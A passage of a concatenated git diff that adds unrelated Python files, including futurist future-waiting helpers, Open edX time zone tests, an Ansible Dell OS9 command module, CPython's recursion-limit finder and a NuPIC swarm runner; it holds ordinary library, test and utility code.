= collections.namedtuple( + 'DoneAndNotDoneFutures', 'done not_done') + +_DONE_STATES = frozenset([ + _base.CANCELLED_AND_NOTIFIED, + _base.FINISHED, +]) + + +@contextlib.contextmanager +def _acquire_and_release_futures(fs): + # Do this to ensure that we always get the futures in the same order (aka + # always acquire the conditions in the same order, no matter what; a way + # to avoid dead-lock). + fs = sorted(fs, key=id) + with ExitStack() as stack: + for fut in fs: + stack.enter_context(fut._condition) + yield + + +def _ensure_eventlet(func): + """Decorator that verifies we have the needed eventlet components.""" + + @six.wraps(func) + def wrapper(*args, **kwargs): + if not _utils.EVENTLET_AVAILABLE or greenthreading is None: + raise RuntimeError('Eventlet is needed to wait on green futures') + return func(*args, **kwargs) + + return wrapper + + +def _wait_for(fs, no_green_return_when, on_all_green_cb, + caller_name, timeout=None): + green_fs = sum(1 for f in fs if isinstance(f, futurist.GreenFuture)) + if not green_fs: + done, not_done = futures.wait(fs, timeout=timeout, + return_when=no_green_return_when) + return DoneAndNotDoneFutures(done, not_done) + else: + non_green_fs = len(fs) - green_fs + if non_green_fs: + raise RuntimeError("Can not wait on %s green futures and %s" + " non-green futures in the same" + " `%s` call" % (green_fs, non_green_fs, + caller_name)) + else: + return on_all_green_cb(fs, timeout=timeout) + + +def wait_for_all(fs, timeout=None): + """Wait for all of the futures to complete. + + Works correctly with both green and non-green futures (but not both + together, since this can't be guaranteed to avoid dead-lock due to how + the waiting implementations are different when green threads are being + used). + + Returns pair (done futures, not done futures). + """ + return _wait_for(fs, futures.ALL_COMPLETED, _wait_for_all_green, + 'wait_for_all', timeout=timeout) + + +def wait_for_any(fs, timeout=None): + """Wait for one (**any**) of the futures to complete. + + Works correctly with both green and non-green futures (but not both + together, since this can't be guaranteed to avoid dead-lock due to how + the waiting implementations are different when green threads are being + used). + + Returns pair (done futures, not done futures). + """ + return _wait_for(fs, futures.FIRST_COMPLETED, _wait_for_any_green, + 'wait_for_any', timeout=timeout) + + +class _AllGreenWaiter(object): + """Provides the event that ``_wait_for_all_green`` blocks on.""" + + def __init__(self, pending): + self.event = greenthreading.Event() + self.lock = greenthreading.Lock() + self.pending = pending + + def _decrement_pending(self): + with self.lock: + self.pending -= 1 + if self.pending <= 0: + self.event.set() + + def add_result(self, future): + self._decrement_pending() + + def add_exception(self, future): + self._decrement_pending() + + def add_cancelled(self, future): + self._decrement_pending() + + +class _AnyGreenWaiter(object): + """Provides the event that ``_wait_for_any_green`` blocks on.""" + + def __init__(self): + self.event = greenthreading.Event() + + def add_result(self, future): + self.event.set() + + def add_exception(self, future): + self.event.set() + + def add_cancelled(self, future): + self.event.set() + + +def _partition_futures(fs): + done = set() + not_done = set() + for f in fs: + if f._state in _DONE_STATES: + done.add(f) + else: + not_done.add(f) + return done, not_done + + +def _create_and_install_waiters(fs, waiter_cls, *args, **kwargs): + waiter = waiter_cls(*args, **kwargs) + for f in fs: + f._waiters.append(waiter) + return waiter + + +@_ensure_eventlet +def _wait_for_all_green(fs, timeout=None): + if not fs: + return DoneAndNotDoneFutures(set(), set()) + + with _acquire_and_release_futures(fs): + done, not_done = _partition_futures(fs) + if len(done) == len(fs): + return DoneAndNotDoneFutures(done, not_done) + waiter = _create_and_install_waiters(not_done, + _AllGreenWaiter, + len(not_done)) + waiter.event.wait(timeout) + for f in not_done: + with f._condition: + f._waiters.remove(waiter) + + with _acquire_and_release_futures(fs): + done, not_done = _partition_futures(fs) + return DoneAndNotDoneFutures(done, not_done) + + +@_ensure_eventlet +def _wait_for_any_green(fs, timeout=None): + if not fs: + return DoneAndNotDoneFutures(set(), set()) + + with _acquire_and_release_futures(fs): + done, not_done = _partition_futures(fs) + if done: + return DoneAndNotDoneFutures(done, not_done) + waiter = _create_and_install_waiters(fs, _AnyGreenWaiter) + + waiter.event.wait(timeout) + for f in fs: + with f._condition: + f._waiters.remove(waiter) + + with _acquire_and_release_futures(fs): + done, not_done = _partition_futures(fs) + return DoneAndNotDoneFutures(done, not_done) diff --git a/pool/shard009/Python/0083734_test_time_zone_utils.py b/pool/shard009/Python/0083734_test_time_zone_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..cfab630cc0091b162a928856e4231d52680d31bd --- /dev/null +++ b/pool/shard009/Python/0083734_test_time_zone_utils.py @@ -0,0 +1,80 @@ +"""Tests covering time zone utilities.""" + + +from django.test import TestCase +from freezegun import freeze_time +from pytz import timezone + +from openedx.core.lib.time_zone_utils import get_display_time_zone, get_time_zone_abbr, get_time_zone_offset +from common.djangoapps.student.tests.factories import UserFactory + + +class TestTimeZoneUtils(TestCase): + """ + Tests the time zone utilities + """ + def setUp(self): + """ + Sets up user for testing with time zone utils. + """ + super(TestTimeZoneUtils, self).setUp() # lint-amnesty, pylint: disable=super-with-arguments + + self.user = UserFactory.build() + self.user.save() + + def _display_time_zone_helper(self, time_zone_string): + """ + Helper function to return all info from get_display_time_zone() + """ + tz_str = get_display_time_zone(time_zone_string) + time_zone = timezone(time_zone_string) + tz_abbr = get_time_zone_abbr(time_zone) + tz_offset = get_time_zone_offset(time_zone) + + return {'str': tz_str, 'abbr': tz_abbr, 'offset': tz_offset} + + def _assert_time_zone_info_equal(self, display_tz_info, expected_name, expected_abbr, expected_offset): + """ + Asserts that all display_tz_info is equal to the expected inputs + """ + assert display_tz_info['str'] == '{name} ({abbr}, UTC{offset})'.format( + name=expected_name, abbr=expected_abbr, offset=expected_offset + ) + assert display_tz_info['abbr'] == expected_abbr + assert display_tz_info['offset'] == expected_offset + + def test_display_time_zone_without_dst(self): + """ + Test to ensure get_display_time_zone() returns full display string when no kwargs specified + and returns just abbreviation or offset when specified + """ + with freeze_time("2015-02-09"): + tz_info = self._display_time_zone_helper('America/Los_Angeles') + self._assert_time_zone_info_equal(tz_info, 'America/Los Angeles', 'PST', '-0800') + + def test_display_time_zone_with_dst(self): + """ + Test to ensure get_display_time_zone() returns modified abbreviations and + offsets during daylight savings time. + """ + with freeze_time("2015-04-02"): + tz_info = self._display_time_zone_helper('America/Los_Angeles') + self._assert_time_zone_info_equal(tz_info, 'America/Los Angeles', 'PDT', '-0700') + + def test_display_time_zone_ambiguous_before(self): + """ + Test to ensure get_display_time_zone() returns correct abbreviations and offsets + during ambiguous time periods (e.g. when DST is about to start/end) before the change + """ + with freeze_time("2015-11-01 08:59:00"): + tz_info = self._display_time_zone_helper('America/Los_Angeles') + self._assert_time_zone_info_equal(tz_info, 'America/Los Angeles', 'PDT', '-0700') + + def test_display_time_zone_ambiguous_after(self): + """ + Test to ensure get_display_time_zone() returns correct abbreviations and offsets + during ambiguous time periods (e.g. when DST is about to start/end) after the change + """ + with freeze_time("2015-11-01 09:00:00"): + tz_info = self._display_time_zone_helper('America/Los_Angeles') + self._assert_time_zone_info_equal(tz_info, 'America/Los Angeles', 'PST', '-0800') diff --git a/pool/shard009/Python/0083738_fields.py b/pool/shard009/Python/0083738_fields.py new file mode 100644 index 0000000000000000000000000000000000000000..5d82227cd826c4f6c16b6dc3535a653801bfaf0d --- /dev/null +++ b/pool/shard009/Python/0083738_fields.py @@ -0,0 +1,73 @@ +# -*- coding: utf-8 -*- +# +# Atizo - The Open Innovation Platform +# http://www.atizo.com/ +# +# Copyright (c) 2008-2010 Atizo AG. All rights reserved. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +from __future__ import unicode_literals +from django.forms.util import flatatt +from django.forms.widgets import Select +from django.utils.safestring import mark_safe +from django import forms + +from widgets import Html5DateTimeInput + +class InputLabelWidget(Select): + + def render(self, name, value, attrs=None, choices=()): + if value is None: value = '' + + final_attrs = self.build_attrs(attrs, name=name) + label = final_attrs.get('label','') + if label: + del final_attrs['label'] + + output = ['' % flatatt(final_attrs)] + if label: + output.append(self.render_option([], '', '- %s -' % label)) + + options = self.render_options(choices, [value]) + if options: + output.append(options) + output.append('') + + return mark_safe('\n'.join(output)) + +class LabelCharField(forms.CharField): + widget = InputLabelWidget + + def __init__(self, *args, **kwargs): + super(LabelCharField, self).__init__(*args, **kwargs) + self.label = kwargs.get('label', '') + + def widget_attrs(self, widget): + if self.label: + return {'label': '%s' % self.label} + return {} + +class LabelIntegerField(forms.IntegerField): + widget = InputLabelWidget + + def __init__(self, *args, **kwargs): + super(LabelIntegerField, self).__init__(*args, **kwargs) + self.label = kwargs.get('label', '') + + def widget_attrs(self, widget): + if self.label: + return {'label': '%s' % self.label} + return {} diff --git a/pool/shard009/Python/0083739_setup.py b/pool/shard009/Python/0083739_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..6c1831645667273cbf5a9a6afadf8fde595d5de1 --- /dev/null +++ b/pool/shard009/Python/0083739_setup.py @@ -0,0 +1,85 @@ +import os +import re +import sys + +from setuptools import setup + +execfile(os.path.join("openobject", "release.py")) + +version_dash_incompatible = False +if 'bdist_rpm' in sys.argv: + version_dash_incompatible = True +try: + import py2exe + from py2exe_utils import opts + version_dash_incompatible = True +except ImportError: + opts = {} +if version_dash_incompatible: + version = version.split('-')[0] + +FILE_PATTERNS = \ + r'.+\.(py|cfg|po|pot|mo|txt|rst|gif|png|jpg|ico|mako|html|js|css|htc|swf)$' +def find_data_files(source, patterns=FILE_PATTERNS): + file_matcher = re.compile(patterns, re.I) + out = [] + for base, _, files in os.walk(source): + cur_files = [] + for f in files: + if file_matcher.match(f): + cur_files.append(os.path.join(base, f)) + if cur_files: + out.append( + (base, cur_files)) + + return out + +setup( + name=name, + version=version, + description=description, + long_description=long_description, + author=author, + author_email=author_email, + url=url, + download_url=download_url, + license=license, + install_requires=[ + "CherryPy == 3.1.2", + "Mako >= 0.2.4", + "Babel >= 0.9.5", + "FormEncode >= 1.2.2", + "simplejson >= 2.0.9", + "python-dateutil >= 1.4.1", + "pytz >= 2009j" + ], + zip_safe=False, + packages=[ + 'openobject', + 'openobject.admin', + 'openobject.admin.i18n', + 'openobject.controllers', + 'openobject.i18n', + 'openobject.test', + 'openobject.tools', + 'openobject.widgets' + ], + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'Operating System :: OS Independent', + 'Programming Language :: Python', + 'Environment :: Web Environment', + 'Topic :: Office/Business :: Financial', + ], + scripts=['scripts/openerp-web'], + data_files=(find_data_files('addons/openerp') + + find_data_files('addons/view_calendar') + + find_data_files('addons/view_diagram') + + find_data_files('addons/view_graph') + + find_data_files('addons/widget_ckeditor') + + find_data_files('doc', patterns='') + + find_data_files('openobject', patterns=r'.+\.(cfg|css|js|mako|gif|png|jpg|ico)') + + opts.pop('data_files', []) + ), + **opts +) diff --git a/pool/shard009/Python/0083743_collection.py b/pool/shard009/Python/0083743_collection.py new file mode 100644 index 0000000000000000000000000000000000000000..6ec298791e03203b799c18a4d1d2ef6480307cc5 --- /dev/null +++ b/pool/shard009/Python/0083743_collection.py @@ -0,0 +1,48 @@ +# Copyright 2013 Red Hat, Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import pecan +from wsme import types as wtypes + +from ironic.api.controllers import base +from ironic.api.controllers import link + + +class Collection(base.APIBase): + + next = wtypes.text + "A link to retrieve the next subset of the collection" + + @property + def collection(self): + return getattr(self, self._type) + + def has_next(self, limit): + """Return whether collection has more items.""" + return len(self.collection) and len(self.collection) == limit + + def get_next(self, limit, url=None, **kwargs): + """Return a link to the next subset of the collection.""" + if not self.has_next(limit): + return wtypes.Unset + + resource_url = url or self._type + q_args = ''.join(['%s=%s&' % (key, kwargs[key]) for key in kwargs]) + next_args = '?%(args)slimit=%(limit)d&marker=%(marker)s' % { + 'args': q_args, 'limit': limit, + 'marker': self.collection[-1].uuid} + + return link.Link.make_link('next', pecan.request.host_url, + resource_url, next_args).href diff --git a/pool/shard009/Python/0083747_just-playing-module3.py b/pool/shard009/Python/0083747_just-playing-module3.py new file mode 100644 index 0000000000000000000000000000000000000000..66dde308c8af212248fe7403c1a75b6e9f5ef333 --- /dev/null +++ b/pool/shard009/Python/0083747_just-playing-module3.py @@ -0,0 +1,76 @@ +# -*- coding: utf-8 -*- +""" +Created on Fri Nov 4 13:18:57 2016 + +Module 3 on DAT210x course scripts + +More info on matplotlib histogram: +http://matplotlib.org/api/pyplot_api.html#matplotlib.pyplot.hist + +@author: Arthur Gouveia +""" +import pandas as pd +import matplotlib as mpl +from mpl_toolkits.mplot3d import Axes3D +from pandas.tools.plotting import parallel_coordinates +from sklearn.datasets import load_iris + +MENU = ''' +1: Single Histogram +2: Multiple Histogram +3: Scatter plot +4: 3D Scatter plot +5: Parallel Plot + +Enter your choice: +''' + + +def histplot(data, **kwargs): + data.plot.hist(**kwargs) + + +def scatter2D(data, x, y, **kwargs): + data.plot.scatter(x=x, y=y, **kwargs) + + +def scatter3D(data, **kwargs): + fig = mpl.pyplot.figure() + ax = fig.add_subplot(111, projection='3d') + ax.set_xlabel('Final Grade') + ax.set_ylabel('First Grade') + ax.set_zlabel('Daily Alcohol') + + ax.scatter(data[0], data[1], + data[2], **kwargs) + mpl.pyplot.show() + + +def menu(): + return input(MENU) + + +if __name__ == '__main__': + mpl.style.use('ggplot') + mpl.cm.cmapname = 'gray' + + student_dataset = pd.read_csv("Datasets/students.data", index_col=0) + data = load_iris() + iris = pd.DataFrame(data.data, columns=data.feature_names) + iris['target_names'] = [data.target_names[i] for i in data.target] + + choice = menu() + + if choice == '1': + histplot(student_dataset.G3, alpha=0.5, normed=True) + elif choice == '2': + histplot(student_dataset[['G3', 'G2', 'G1']], alpha=0.5) + elif choice == '3': + scatter2D(student_dataset[['G1', 'G3']], x='G1', y='G3') + elif choice == '4': + scatter3D([student_dataset.G1, student_dataset.G3, + student_dataset['Dalc']], c='r', marker='o') + elif choice == '5': + parallel_coordinates(iris, 'target_names') + else: + print('Invalid option. Try again') diff --git a/pool/shard009/Python/0083751_find_recursionlimit.py b/pool/shard009/Python/0083751_find_recursionlimit.py new file mode 100644 index 0000000000000000000000000000000000000000..b2842a62efdbd682ce5f6a4f913d19d9823c32aa --- /dev/null +++ b/pool/shard009/Python/0083751_find_recursionlimit.py @@ -0,0 +1,128 @@ +#! /usr/bin/env python3 +"""Find the maximum recursion limit that prevents interpreter termination. + +This script finds the maximum safe recursion limit on a particular +platform. If you need to change the recursion limit on your system, +this script will tell you a safe upper bound. To use the new limit, +call sys.setrecursionlimit(). + +This module implements several ways to create infinite recursion in +Python. Different implementations end up pushing different numbers of +C stack frames, depending on how many calls through Python's abstract +C API occur. + +After each round of tests, it prints a message: +"Limit of NNNN is fine". + +The highest printed value of "NNNN" is therefore the highest potentially +safe limit for your system (which depends on the OS, architecture, but also +the compilation flags). Please note that it is practically impossible to +test all possible recursion paths in the interpreter, so the results of +this test should not be trusted blindly -- although they give a good hint +of which values are reasonable. + +NOTE: When the C stack space allocated by your system is exceeded due +to excessive recursion, exact behaviour depends on the platform, although +the interpreter will always fail in a likely brutal way: either a +segmentation fault, a MemoryError, or just a silent abort. + +NB: A program that does not use __methods__ can set a higher limit. +""" + +import sys +import itertools + +class RecursiveBlowup1: + def __init__(self): + self.__init__() + +def test_init(): + return RecursiveBlowup1() + +class RecursiveBlowup2: + def __repr__(self): + return repr(self) + +def test_repr(): + return repr(RecursiveBlowup2()) + +class RecursiveBlowup4: + def __add__(self, x): + return x + self + +def test_add(): + return RecursiveBlowup4() + RecursiveBlowup4() + +class RecursiveBlowup5: + def __getattr__(self, attr): + return getattr(self, attr) + +def test_getattr(): + return RecursiveBlowup5().attr + +class RecursiveBlowup6: + def __getitem__(self, item): + return self[item - 2] + self[item - 1] + +def test_getitem(): + return RecursiveBlowup6()[5] + +def test_recurse(): + return test_recurse() + +def test_cpickle(_cache={}): + import io + try: + import _pickle + except ImportError: + print("cannot import _pickle, skipped!") + return + k, l = None, None + for n in itertools.count(): + try: + l = _cache[n] + continue # Already tried and it works, let's save some time + except KeyError: + for i in range(100): + l = [k, l] + k = {i: l} + _pickle.Pickler(io.BytesIO(), protocol=-1).dump(l) + _cache[n] = l + +def test_compiler_recursion(): + # The compiler uses a scaling factor to support additional levels + # of recursion. This is a sanity check of that scaling to ensure + # it still raises RecursionError even at higher recursion limits + compile("()" * (10 * sys.getrecursionlimit()), "", "single") + +def check_limit(n, test_func_name): + sys.setrecursionlimit(n) + if test_func_name.startswith("test_"): + print(test_func_name[5:]) + else: + print(test_func_name) + test_func = globals()[test_func_name] + try: + test_func() + # AttributeError can be raised because of the way e.g. PyDict_GetItem() + # silences all exceptions and returns NULL, which is usually interpreted + # as "missing attribute". + except (RecursionError, AttributeError): + pass + else: + print("Yikes!") + +if __name__ == '__main__': + + limit = 1000 + while 1: + check_limit(limit, "test_recurse") + check_limit(limit, "test_add") + check_limit(limit, "test_repr") + check_limit(limit, "test_init") + check_limit(limit, "test_getattr") + check_limit(limit, "test_getitem") + check_limit(limit, "test_cpickle") + check_limit(limit, "test_compiler_recursion") + print("Limit of %d is fine" % limit) + limit = limit + 100 diff --git a/pool/shard009/Python/0083760_dumper.py b/pool/shard009/Python/0083760_dumper.py new file mode 100644 index 0000000000000000000000000000000000000000..fd178f42c6260be76e08a433bd980958b82c76d8 --- /dev/null +++ b/pool/shard009/Python/0083760_dumper.py @@ -0,0 +1,72 @@ +# -*- coding: utf-8 -*- +import os + + +class FastaDumper(object): + """ + Class for dumping fasta data to file. + + Create a files name composed from contig name followed by + the index of this file among all files for the contig. + + Example: 5th nucleotide of Chromosome will be placed in a file called "Chromosome_0", + 10005th will be placed in a file called "Chromosome_1" file etc. + """ + BUFFER_SIZE = 10000 + + def __init__(self, current_folder): + self.current_folder = current_folder + self.prefix = None + self.buffer = '' + self.index = 0 + + def _dump(self): + """ + Dump buffer to the file in current folder named with ``index`` value and + increment ``index`` value by 1. + + If buffer is empty does nothing, + If buffer is bigger then self.BUFFER_SIZE, dump only self.BUFFER_SIZE. + """ + if not self.buffer or not self.prefix: + return + file_name = '%s_%s' % (self.prefix, self.index) + with open(os.path.join(self.current_folder, file_name), 'w') as f: + f.write(self.buffer[:self.BUFFER_SIZE]) + self.index += 1 + self.buffer = self.buffer[self.BUFFER_SIZE:] + + def flush(self): + """ + Save all data from buffer to file. + + :return: None + """ + if self.prefix: + self._dump() + self.index = 0 + self.prefix = None + + def set(self, prefix): + """ + Flush current data and set new suffix. + + :param prefix: current contig name + :type prefix: str + :return: None + """ + self.flush() + self.prefix = prefix + + def add(self, text): + """ + Add chunk of data to the current folder. + If total length of all chunks in buffer is greater than self.BUFFER_SIZE + then they will be dumped into a file. + + :param text: text to dump + :type text: str + """ + self.buffer += text + if len(self.buffer) > self.BUFFER_SIZE: + self._dump() diff --git a/pool/shard009/Python/0083761_0001_initial.py b/pool/shard009/Python/0083761_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..6ecefc0e75b067c3becb49cafc610a1ca6d7bacd --- /dev/null +++ b/pool/shard009/Python/0083761_0001_initial.py @@ -0,0 +1,33 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Comment', + fields=[ + ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)), + ], + options={ + }, + bases=(models.Model,), + ), + migrations.CreateModel( + name='Book', + fields=[ + ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)), + ('title', models.CharField(db_index=True, max_length=100)), + ('comments', models.ManyToManyField(to='commands_sql_migrations.Comment')), + ], + options={ + }, + bases=(models.Model,), + ), + ] diff --git a/pool/shard009/Python/0083762_test_skymap.py b/pool/shard009/Python/0083762_test_skymap.py new file mode 100644 index 0000000000000000000000000000000000000000..ce60ce3c1e90b4f6ce00211b091d88938a6e348d --- /dev/null +++ b/pool/shard009/Python/0083762_test_skymap.py @@ -0,0 +1,45 @@ +# Licensed under a 3-clause BSD style license - see LICENSE.rst +from __future__ import absolute_import, division, print_function +import numpy as np +from numpy.testing import assert_allclose +from fermipy.hpx_utils import HPX +from fermipy.fits_utils import write_fits_image +from fermipy.skymap import HpxMap + + +def test_hpxmap(tmpdir): + n = np.ones((10, 192), 'd') + hpx = HPX(4, False, 'GAL') + + filename = str(tmpdir / 'test_hpx.fits') + hpx.write_fits(n, filename, clobber=True) + + ebins = np.logspace(2, 5, 8) + + hpx_2 = HPX(1024, False, 'GAL', region='DISK(110.,75.,2.)', ebins=ebins) + npixels = hpx_2.npix + + n2 = np.ndarray((8, npixels), 'd') + for i in range(8): + n2[i].flat = np.arange(npixels) + + hpx_map = HpxMap(n2, hpx_2) + wcs, wcs_data = hpx_map.make_wcs_from_hpx(normalize=True) + + wcs_out = hpx_2.make_wcs(3) + + filename = str(tmpdir / 'test_hpx_2_wcs.fits') + write_fits_image(wcs_data, wcs_out.wcs, filename) + + assert_allclose(wcs_data[0, 160, 160], 87.28571429) + assert_allclose(wcs_data[4, 160, 160], 87.28571429) + + +def test_hpx(): + + hpx0 = HPX(2**3, False, 'GAL', region='DISK(110.,75.,10.)') + assert_allclose(hpx0[hpx0._ipix], np.arange(len(hpx0._ipix))) + + ebins = np.logspace(2, 5, 8) + hpx1 = HPX(2**3, False, 'GAL', region='DISK(110.,75.,10.)', ebins=ebins) + assert_allclose(hpx1[hpx1._ipix], np.arange(len(hpx1._ipix))) diff --git a/pool/shard009/Python/0083766_dellos9_command.py b/pool/shard009/Python/0083766_dellos9_command.py new file mode 100644 index 0000000000000000000000000000000000000000..e3d2063f5416d0eb5e70bb3d36f37c2317b1f4d5 --- /dev/null +++ b/pool/shard009/Python/0083766_dellos9_command.py @@ -0,0 +1,240 @@ +#!/usr/bin/python +# +# (c) 2015 Peter Sprygada, +# +# Copyright (c) 2016 Dell Inc. +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . +# + +ANSIBLE_METADATA = {'metadata_version': '1.0', + 'status': ['preview'], + 'supported_by': 'community'} + + +DOCUMENTATION = """ +--- +module: dellos9_command +version_added: "2.2" +author: "Dhivya P (@dhivyap)" +short_description: Run commands on remote devices running Dell OS9 +description: + - Sends arbitrary commands to a Dell OS9 node and returns the results + read from the device. This module includes an + argument that will cause the module to wait for a specific condition + before returning or timing out if the condition is not met. + - This module does not support running commands in configuration mode. + Please use M(dellos9_config) to configure Dell OS9 devices. +extends_documentation_fragment: dellos9 +options: + commands: + description: + - List of commands to send to the remote dellos9 device over the + configured provider. The resulting output from the command + is returned. If the I(wait_for) argument is provided, the + module is not returned until the condition is satisfied or + the number of retries has expired. + required: true + wait_for: + description: + - List of conditions to evaluate against the output of the + command. The task will wait for each condition to be true + before moving forward. If the conditional is not true + within the configured number of I(retries), the task fails. + See examples. + required: false + default: null + retries: + description: + - Specifies the number of retries a command should be tried + before it is considered failed. The command is run on the + target device every retry and evaluated against the + I(wait_for) conditions. + required: false + default: 10 + interval: + description: + - Configures the interval in seconds to wait between retries + of the command. If the command does not pass the specified + conditions, the interval indicates how long to wait before + trying the command again. + required: false + default: 1 + +notes: + - This module requires Dell OS9 version 9.10.0.1P13 or above. + + - This module requires to increase the ssh connection rate limit. + Use the following command I(ip ssh connection-rate-limit 60) + to configure the same. This can be done via M(dellos9_config) module + as well. + +""" + +EXAMPLES = """ +# Note: examples below use the following provider dict to handle +# transport and authentication to the node. +vars: + cli: + host: "{{ inventory_hostname }}" + username: admin + password: admin + transport: cli + +tasks: + - name: run show version on remote devices + dellos9_command: + commands: show version + provider: "{{ cli }}" + + - name: run show version and check to see if output contains OS9 + dellos9_command: + commands: show version + wait_for: result[0] contains OS9 + provider: "{{ cli }}" + + - name: run multiple commands on remote nodes + dellos9_command: + commands: + - show version + - show interfaces + provider: "{{ cli }}" + + - name: run multiple commands and evaluate the output + dellos9_command: + commands: + - show version + - show interfaces + wait_for: + - result[0] contains OS9 + - result[1] contains Loopback + provider: "{{ cli }}" +""" + +RETURN = """ +stdout: + description: The set of responses from the commands + returned: always + type: list + sample: ['...', '...'] + +stdout_lines: + description: The value of stdout split into a list + returned: always + type: list + sample: [['...', '...'], ['...'], ['...']] + +failed_conditions: + description: The list of conditionals that have failed + returned: failed + type: list + sample: ['...', '...'] + +warnings: + description: The list of warnings (if any) generated by module based on arguments + returned: always + type: list + sample: ['...', '...'] +""" + +from ansible.module_utils.basic import get_exception +from ansible.module_utils.netcli import CommandRunner, FailedConditionsError +from ansible.module_utils.network import NetworkModule, NetworkError +from ansible.module_utils.six import string_types +import ansible.module_utils.dellos9 + +VALID_KEYS = ['command', 'prompt', 'response'] + +def to_lines(stdout): + for item in stdout: + if isinstance(item, basestring): + item = str(item).split('\n') + yield item + +def parse_commands(module): + for cmd in module.params['commands']: + if isinstance(cmd, string_types): + cmd = dict(command=cmd, output=None) + elif 'command' not in cmd: + module.fail_json(msg='command keyword argument is required') + elif not set(cmd.keys()).issubset(VALID_KEYS): + module.fail_json(msg='unknown keyword specified') + yield cmd + +def main(): + spec = dict( + # { command: , prompt: , response: } + commands=dict(type='list', required=True), + wait_for=dict(type='list'), + retries=dict(default=10, type='int'), + interval=dict(default=1, type='int') + ) + + module = NetworkModule(argument_spec=spec, + connect_on_load=False, + supports_check_mode=True) + + commands = list(parse_commands(module)) + conditionals = module.params['wait_for'] or list() + + warnings = list() + + runner = CommandRunner(module) + + for cmd in commands: + if module.check_mode and not cmd['command'].startswith('show'): + warnings.append('only show commands are supported when using ' + 'check mode, not executing `%s`' % cmd) + else: + if cmd['command'].startswith('conf'): + module.fail_json(msg='dellos9_command does not support running ' + 'config mode commands. Please use ' + 'dellos9_config instead') + runner.add_command(**cmd) + + for item in conditionals: + runner.add_conditional(item) + + runner.retries = module.params['retries'] + runner.interval = module.params['interval'] + + try: + runner.run() + except FailedConditionsError: + exc = get_exception() + module.fail_json(msg=str(exc), failed_conditions=exc.failed_conditions) + except NetworkError: + exc = get_exception() + module.fail_json(msg=str(exc)) + + result = dict(changed=False) + + result['stdout'] = list() + for cmd in commands: + try: + output = runner.get_command(cmd['command']) + except ValueError: + output = 'command not executed due to check_mode, see warnings' + result['stdout'].append(output) + + result['warnings'] = warnings + result['stdout_lines'] = list(to_lines(result['stdout'])) + + module.exit_json(**result) + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0083770_swarmrunner.py b/pool/shard009/Python/0083770_swarmrunner.py new file mode 100644 index 0000000000000000000000000000000000000000..b13d0161d5d2b4c86a0a78e470841e94bcc213c4 --- /dev/null +++ b/pool/shard009/Python/0083770_swarmrunner.py @@ -0,0 +1,83 @@ +import os +import pprint +import json + +# add logging to output errors to stdout +import logging +logging.basicConfig() + +from nupic.swarming import permutations_runner + + +def _modelParamsToString(modelParams): + pp = pprint.PrettyPrinter(indent=2) + return pp.pformat(modelParams) + + +def touch(fname, times=None): + with open(fname, 'a'): + os.utime(fname, times) + + +def _writeModelParamsToFile(modelParams, workingDir): + paramsName = "model_params.py" + outDir = os.path.join(workingDir, 'model_params') + if not os.path.isdir(outDir): + os.mkdir(outDir) + outPath = os.path.join(workingDir, 'model_params', paramsName) + with open(outPath, "wb") as outFile: + modelParamsString = _modelParamsToString(modelParams) + outFile.write("MODEL_PARAMS = \\\n%s" % modelParamsString) + touch(os.path.join(outDir, "__init__.py")) + return outPath + + + +def _swarmForBestModelParams(swarmConfig, name, workingDir, maxWorkers=8): + outputLabel = name + permWorkDir = os.path.join(workingDir, "swarm") + if not os.path.exists(permWorkDir): + os.mkdir(permWorkDir) + modelParams = permutations_runner.runWithConfig( + swarmConfig, + {"maxWorkers": maxWorkers, "overwrite": True}, + outputLabel=outputLabel, + outDir=permWorkDir, + permWorkDir=permWorkDir, + verbosity=0 + ) + _writeModelParamsToFile(modelParams, workingDir) + return modelParams + + + +def _printSwarmSizeWarning(size): + if size.strip() == "small": + print "= THIS IS A DEBUG SWARM. DON'T EXPECT YOUR MODEL RESULTS TO BE GOOD." + elif size.strip() == "medium": + print "= Medium swarm. Sit back and relax, this could take awhile." + elif size.strip() == "large": + print "= LARGE SWARM! Might as well load up the Star Wars Trilogy." + else: + raise Exception("Unknown swarm size \"%s\"", size) + + + +def swarm(workingDir): + """ + Runs a swarm in the giving working directory, assuming it was created by + Menorah. + :param workingDir: absolute or relative path to working directory created by + Menorah + """ + name = os.path.splitext(os.path.basename(workingDir))[0] + swarmDescriptionFile = os.path.join(workingDir, "swarm_description.json") + with open(swarmDescriptionFile) as swarmDesc: + swarmDescription = json.loads(swarmDesc.read()) + print "=================================================" + print "= Swarming on %s data..." % name + _printSwarmSizeWarning(swarmDescription["swarmSize"]) + print "=================================================" + modelParams = _swarmForBestModelParams(swarmDescription, name, workingDir) + return modelParams + diff --git a/pool/shard009/Python/0083777_test_rollback_rollsback.py 